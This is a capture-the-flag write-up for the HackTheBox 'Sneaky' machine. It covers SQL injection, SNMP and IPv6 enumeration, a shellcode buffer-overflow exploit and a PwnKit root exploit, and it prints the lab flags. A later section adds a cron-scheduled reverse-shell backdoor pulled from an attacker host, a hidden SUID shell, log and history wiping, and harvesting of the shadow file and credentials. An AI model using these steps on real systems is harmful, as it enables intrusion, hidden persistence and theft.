Post

HackTheBox Sneaky

Writeup for HackTheBox Sneaky

HackTheBox Sneaky

Machine Synopsis

Key Exploitation Techniques:

  • Web SQL injection for credential discovery
  • SNMP enumeration for IPv6 address discovery
  • SSH private key authentication
  • Buffer overflow exploitation (custom SUID binary with strcpy vulnerability)
  • Alternative privilege escalation via PwnKit (CVE-2021-4034)

Reconnaissance & Enumeration

Port Discovery

1
2
3
4
$ nmap -sC -sV -A 10.10.10.20
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Under Development!

Web Application Analysis

The default webpage displays “Under Development!” message.

1
2
3
# Directory enumeration
$ feroxbuster -u 'http://10.10.10.20' --auto-tune
301      GET        9l       28w      307c http://10.10.10.20/dev => http://10.10.10.20/dev/

dev_webpage

The /dev directory hosts a login page vulnerable to SQL injection.

Exploitation

SQL Injection

1
2
# Basic authentication bypass
# In password field: ' or 1=1--

Automated SQL Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Capture login request
$ cat > login_request.txt << 'EOF'
POST /dev/login.php HTTP/1.1
Host: 10.10.10.20
Content-Type: application/x-www-form-urlencoded

username=admin&password=test
EOF

# Automated exploitation
$ ghauri -r login_request.txt --dump
Database: dev
Table: users
[2 entries]
+--------------+----------------------+
| name         | pass                 |
+--------------+----------------------+
| admin        | sup3rstr0ngp4ssf0r4d |
| thrasivoulos | sup3rstr0ngp4ssf0r4d |
+--------------+----------------------+

SSH Key Discovery

dev_webpage_logged_in

Login to the dashboard reveals a “My Key” link exposing an SSH private key at /dev/sshkeyforadministratordifficulttimes.

1
2
3
4
5
6
7
# Download SSH key
$ wget http://10.10.10.20/dev/sshkeyforadministratordifficulttimes -O id_rsa
$ chmod 600 id_rsa

# Initial SSH connection fails
$ ssh -i id_rsa thrasivoulos@10.10.10.20
ssh: connect to host 10.10.10.20 port 22: Connection refused

SNMP Enumeration

1
2
3
4
5
6
7
8
# UDP port scan reveals SNMP
$ nmap -sU 10.10.10.20
PORT    STATE SERVICE
161/udp open  snmp

# Test community strings
$ onesixtyone 10.10.10.20 -c /usr/share/doc/onesixtyone/dict.txt
10.10.10.20 [public] Linux Sneaky 4.4.0-75-generic

IPv6 Discovery

1
2
3
4
5
# SNMP walk for system information
$ snmpwalk -v2c -c public 10.10.10.20 > snmpwalk_output
$ grep -i "ipv6\|beef" snmpwalk_output

IP-MIB::ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:c2:cc" = INTEGER: 2

IPv6 Address: dead:beef:0000:0000:0250:56ff:feb9:c2cc

1
2
3
4
5
# Verify IPv6 services
$ nmap -6 dead:beef:0000:0000:0250:56ff:feb9:c2cc
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

SSH Access via IPv6

1
2
3
$ ssh -i id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:c2cc
thrasivoulos@Sneaky:~$ cat user.txt
bc8bdb0865440d6fb4a1dcf2f57e41a5

Privilege Escalation

SUID Binary Discovery

1
2
thrasivoulos@Sneaky:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/chal

Binary Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Transfer binary for analysis
thrasivoulos@Sneaky:~$ base64 /usr/local/bin/chal > /tmp/chal.b64
thrasivoulos@Sneaky:~$ nc 10.10.14.6 1234 < /tmp/chal.b64

# On attacker machine
$ nc -l -p 1234 > chal.b64
$ base64 -d chal.b64 > chal
$ chmod +x chal

# Security analysis
$ checksec chal
[*] 'chal'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable

Buffer Overflow Exploitation

Offset Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Generate pattern
$ msf-pattern_create -l 400
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ab7Ab8Ab9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A

# Test with GDB
$ gdb -q ./chal
pwndbg> r
[Input pattern when prompted]

pwndbg> x/i $eip
0x316d4130:     Cannot access memory at address 0x316d4130

# Calculate offset
$ msf-pattern_offset -q 0x316d4130
[*] Exact match at offset 362

Exploit Development

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

import sys

bufsize = 362

# Shellcode: execve("/bin/sh", 0, 0)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

nopsled = b"\x90" * (bufsize - len(shellcode))

# Return address within NOP sled (adjust based on stack analysis)
eip = b"\x58\xf7\xff\xbf"

payload = nopsled + shellcode + eip

sys.stdout.buffer.write(payload)

Exploitation

1
2
3
4
5
6
# Execute exploit on target
thrasivoulos@Sneaky:~$ /usr/local/bin/chal $(python3 exploit.py)
# whoami
root
# cat /root/root.txt
01fd0bad43c787abbd4d158675df6d95

Alternative: PwnKit Exploitation

1
2
3
4
5
6
7
8
9
10
11
# Download PwnKit exploit
$ wget https://github.com/c3c/CVE-2021-4034/releases/download/0.2/cve-2021-4034_i686 -O pwnkit

# Transfer to target
thrasivoulos@Sneaky:~$ wget http://10.10.14.6/pwnkit
thrasivoulos@Sneaky:~$ chmod +x pwnkit
thrasivoulos@Sneaky:~$ ./pwnkit
CVE-2021-4034 - crossbuild by @c3c
Attempting to spawn root shell
# whoami
root

Post-Exploitation Techniques

Persistence Methods

SSH Key Persistence

1
2
3
4
5
6
7
# Generate SSH key pair
$ ssh-keygen -t rsa -b 4096 -f sneaky_persistence

# Install on target as root
# mkdir -p /root/.ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# chmod 600 /root/.ssh/authorized_keys

Cron Backdoor

1
2
3
4
5
6
7
8
# Create reverse shell payload
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f elf -o backdoor
$ python3 -m http.server 80

# Install on target
# wget 10.10.14.6/backdoor -O /tmp/.system_update
# chmod +x /tmp/.system_update
# echo "*/15 * * * * /tmp/.system_update" >> /etc/crontab

Binary Backdoor

1
2
3
4
5
6
# Create SUID shell
# cp /bin/bash /tmp/.maintenance
# chmod 4755 /tmp/.maintenance

# Hide from casual inspection
# chattr +i /tmp/.maintenance

Defense Evasion

Log Sanitization

1
2
3
4
5
6
7
8
9
10
# Clear system logs
# > /var/log/auth.log
# > /var/log/syslog
# > /var/log/apache2/access.log
# > /var/log/wtmp
# > /var/log/lastlog

# Clear command histories
# > /root/.bash_history
# > /home/thrasivoulos/.bash_history

Network Artifact Cleanup

1
2
3
4
5
# Clear SNMP access logs if present
# > /var/log/snmpd.log

# Reset network connection tracking
# conntrack -F 2>/dev/null

Lateral Movement Preparation

Network Reconnaissance

1
2
3
4
5
# IPv4 network discovery
# for i in {1..254}; do ping -c 1 -W 1 10.10.10.$i | grep "64 bytes" | cut -d" " -f4 | tr -d ":"; done

# IPv6 network discovery  
# ping6 -c 1 ff02::1%eth0 2>/dev/null | grep -E "dead:beef|fe80"

Credential Harvesting

1
2
3
4
5
6
7
8
# Extract shadow file
# cp /etc/shadow /tmp/shadow.backup

# Search for SSH keys
# find /home -name "id_*" -o -name "*.pem" 2>/dev/null

# Database credential search
# grep -r "password\|DATABASE_URL" /var/www/ 2>/dev/null

Service Discovery

1
2
3
4
5
6
7
8
# IPv6 service enumeration
# ss -tlnp6

# Process enumeration
# ps aux --forest

# Docker/container detection
# ls -la /.dockerenv 2>/dev/null

Alternative Exploitation Methods

Manual SNMP Enumeration

1
2
3
4
5
# System information
$ snmpget -v2c -c public 10.10.10.20 1.3.6.1.2.1.1.1.0

# Network interfaces
$ snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.2.2.1.2

IPv6 Manual Discovery

1
2
3
4
5
6
7
# Convert discovered IPv6 to different formats
$ python3 -c "
import ipaddress
addr = 'dead:beef::250:56ff:feb9:c2cc'
print(f'Compressed: {addr}')
print(f'Expanded: {ipaddress.IPv6Address(addr).exploded}')
"

Buffer Overflow Alternatives

Return-to-libc

1
2
3
4
5
6
7
8
# Find system() and "/bin/sh" addresses
thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal
(gdb) b main
(gdb) r
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
(gdb) find 0xf7e32000,+5000000,"/bin/sh"
0xf7f70a0f

ROP Chain Construction

1
2
# Find gadgets using ROPgadget
$ ROPgadget --binary chal --only "pop|ret"

This post is licensed under CC BY 4.0 by the author.